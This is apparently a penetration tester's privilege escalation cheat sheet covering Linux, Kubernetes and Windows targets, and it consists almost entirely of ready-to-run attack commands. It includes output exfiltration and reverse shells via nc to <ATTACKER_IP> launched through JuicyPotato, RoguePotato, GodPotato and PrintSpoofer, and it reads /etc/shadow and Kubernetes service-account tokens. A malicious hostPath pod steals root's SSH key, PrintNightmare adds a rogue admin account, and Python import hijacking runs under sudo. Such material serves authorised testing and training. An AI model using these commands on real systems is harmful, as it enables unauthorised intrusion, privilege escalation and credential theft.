Privilege Escalation (PrivEsc)

# === ATTACKER ===

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
ip a ; python3 -m http.server 8000

# === TARGET ===

cd /tmp
wget http://<ATTACKER_IP>:8000/linpeas.sh && chmod +x linpeas.sh
REGEXES="0" ./linpeas.sh 2>&1 | tee linpeas_output.txt

# === ATTACKER ===

scp <USER>@<TARGET>:/tmp/linpeas_output.txt ~/
# NC
nc -l -p <PORT> > ~/linpeas_output.txt
cat /tmp/linpeas_output.txt | nc <ATTACKER_IP> <PORT>
# wait a moment, then CTRL+C

whoami ; id ; hostname ; ip a || ifconfig -a
uname -a ; cat /etc/*release*

arp -an
ip r || netstat -rn
netstat -tun
# For domains
cat /etc/resolv.conf /etc/hosts

netstat -tuanlp || ss -tuanlp

# Check non-standard paths or variables
echo $PATH
env

cat /etc/shells

lsblk
cat /etc/fstab
df -h
# Unmounted filesystems
cat /etc/fstab | grep -v "#" | column -t

# Debian-based systems
dpkg -l

ps -ef
pstree
# Interesting commands
for p in /proc/[0-9]*; do cmd=$(tr '\0' ' ' < "$p/cmdline" 2>/dev/null); [ -n "$cmd" ] && echo "[PID: ${p##*/}] $cmd"; done

# Users only
cat /etc/passwd | cut -f1 -d:
# Users with shell access
cat /etc/passwd | grep sh
# Groups
cat /etc/group
# Active or recent users
w ; lastlog

===
# LOOKING FOR PRIV ESCs
===

# GTFObins Priv Esc check
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
for i in $(curl -s https://gtfobins.org/api.json | jq -r '.executables | keys[]'); do if grep -q "$i" installed_pkgs.list; then echo "Check for GTFO: $i";fi; done

ls -la /etc/crontab /var/spool/cron/crontabs/root /etc/cron.*

ls -la / /home/ /home/*/.ssh/ /root/.ssh/

# Conf files
find / \( -path "/proc" -o -path "/usr" -o -path "/lib" \) -prune -o \( -iname "*.conf" -o -iname "*.config" \) -exec ls -la {} + 2>/dev/null
# Search for all files that contain keyword in name
find / \( -path "/proc" -o -path "/usr" -o -path "/lib" \) -prune -o -type f -iname "<KEYWORD>" -exec ls -la {} + 2>/dev/null
# Creds Search
grep -Hran --color=always --exclude-dir={bin,boot,dev,lib,lib64,proc,sys,sbin,snap,sys,run,usr} 'user\|passw' / 2>/dev/null | less -R

# History
history
find / -type f \( -name '*_hist' -o -name '*_history' \) -exec ls -l {} \; 2>/dev/null

# Search for interesting scripts
find / -type f -name '*.sh' 2>/dev/null | grep -v "src\|snap\|share"
find / -name '*.sh' 2>/dev/null

# Hidden folders and files
# NOTE: usually best to grep for a user or something to reduce results
find / -type d -name ".*" -ls 2>/dev/null
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep WORD

# Temp folders
ls -la /tmp /var/tmp /dev/shm

# Writeable Files
find / \( -path /proc -o -path /sys -o -path /var \) -prune -o -type f -perm -o+w 2>/dev/null
# Writeable directories
find / \( -path /proc -o -path /sys -o -path /var \) -prune -o -type d -perm -o+w 2>/dev/null
# SETUID Files (user executes program as owner user)
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
# SETGID Files (user groups executes program as owner group)
find / -user root -perm -2000 -exec ls -ldb {} \; 2>/dev/null
# World-writeable files
find / -type f -perm -00002 -ls 2>/dev/null

# Users with shells
grep "sh$" /etc/passwd

cat /etc/group
# Users in "sudo" group
getent group sudo

# Rarely hashes in passwd or readable shadow
cat /etc/passwd /etc/shadow

# Summarized reports of logs
aureport --tty | less

# CTF Special
sudo -V  # Check version exploits
sudo -l  # Look for NOPASSWD

# Easy wins
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

# Exhaustive
getcap -r / 2>/dev/null

# Check for API server
curl -k https://<TARGET>:6443

# Pods list
curl -k https://<TARGET>:6443/pods | jq .

# Native pods enumeration
kubeletctl -i --server <TARGET> pods

# Scan for known RCEs against nodes
kubeletctl -i --server <TARGET> scan rce

# Interact with node
kubeletctl -i --server <TARGET> exec "id" -p nginx -c nginx

# Extracting tokens
kubeletctl -i --server <TARGET> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token

# Extracting certificates
kubeletctl --server <TARGET> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt

# List privileges
export token=$(cat k8.token)
kubectl --token=$token --certificate-authority=ca.crt --server=https://<TARGET>:6443 auth can-i --list

apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true

# Create new pod
kubectl --token=$token --certificate-authority=ca.crt --server=https://<TARGET>:6443 apply -f privesc.yaml

# Verify
kubectl --token=$token --certificate-authority=ca.crt --server=https://<TARGET>:6443 get pods

# Get root key
kubeletctl --server <TARGET> exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc

git clone https://github.com/bitsadmin/wesng.git && cd wesng
python3 wes.py ~/loot/systeminfo.txt

wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/refs/heads/master/SharpUp.exe

.\SharpUp.exe audit

# Networking info
ipconfig /all
arp -a
route print

# BEST?: Programs w/ Versions
$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |  Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize

# Installed programs
for %f in ("C:\Program Files", "C:\Program Files (x86)") do @(echo. && echo --- Listing: %~f --- && dir "%~f" /b)

# WMI Method
wmic product get name
Get-WmiObject -Class Win32_Product |  select Name, Version

# Running processes and services
tasklist /svc
netstat -ano

# Scheduled Tasks
schtasks /query /fo LIST /v

# Env Variables
set

# Detailed machine info
systeminfo
ver
[environment]::OSVersion.Version

# Alt method for Hotfixes
wmic qfe list brief
Get-HotFix | ft -AutoSize

# Query logged-in users (usually RDP)
query user

# Current user
echo %USERNAME%

# Current User Privs & Groups
whoami /all

# User accounts w/ Descriptions
Get-LocalUser
# All users, groups, admins, password policy
net user
net user %username%
net localgroup
net localgroup administrators
net accounts
gpresult /r

# Command line history
(Get-PSReadLineOption).HistorySavePath

# List Named Pipes
pipelist.exe /accepteula
Get-ChildItem \\.\pipe\
# Show Named Pipe Permissions
# NOTE: Drop the "\\."
accesschk.exe /accepteula \pipe\<NAME> -v

run post/multi/recon/local_exploit_suggester

# NOTE: Upload JUPO and nc.exe
nc -lnvp <PORT>
c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe" -t *

# Listener on attacker
nc -lnvp <PORT>

# All-in-one: RogueOxidResolver on victim, forward/OXID redirector at attacker
c:\tools\RoguePotato.exe -r <ATTACKER_IP> -e "cmd /c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe" -l 9999

# Without local RogueOxidResolver: run RogueOxidResolver.exe on the remote/redirector machine (see repo), then e.g.:
c:\tools\RoguePotato.exe -r <ATTACKER_IP> -e "cmd /c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe"

nc -lnvp <PORT>

c:\tools\GodPotato.exe -cmd "cmd /c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe"

# As in upstream README (nc connects out; adjust paths/nc flags to your binary)
c:\tools\GodPotato.exe -cmd "nc -t -e C:\Windows\System32\cmd.exe <ATTACKER_IP> <PORT>"

nc -lnvp <PORT>

# Non-interactive: spawn and exit (WinRM/webshell-style) — matches upstream example
c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd"

# Interactive: SYSTEM cmd in the same console (reverse/bind shell, psexec, etc.)
c:\tools\PrintSpoofer.exe -i -c cmd

# Load the module
Import-Module .\CVE-2021-1675.ps1

# Custom local admin credentials
Invoke-Nightmare -DriverName "BackupService" -NewUser "svc_backup" -NewPassword "P@ssw0rd123!"

# Custom DLL payload path
Invoke-Nightmare -DLL "C:\bindshell.dll"

# Get file info
Get-ChildItem -Path '<FILE>' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
# Or if that fails, check the folder ownership
cmd /c dir /q '<FOLDER>'

# Change ownership
takeown /f '<FILE>'

# OPTIONAL: grant *full* ACL permissions (e.g. READ)
icacls '<FILE>' /grant <USER>:F

    import os
    os.system("id")
    os.system('ls -la /root/')

# Check Python scripts itself
ls -la <PYTHON_FILE>
# Later check its imports

# See if imports are hookable
python3 -V
grep -r "def <FUNCTION>" /usr/local/lib/python3.8/dist-packages/<MODULE>/*

ls -l /usr/local/lib/python3.8/dist-packages/<MODULE>/__init__.py

# Check Python library importation order
python3 -c 'import sys; print("\n".join(sys.path))'

# Check for module location
pip3 show <MODULE>

# Sometimes the script or executable needs to be executed in a very specific manner
sudo -l

# Execute over-written function
sudo PYTHONPATH=/tmp/ /usr/bin/python3 <PYTHON_FILE>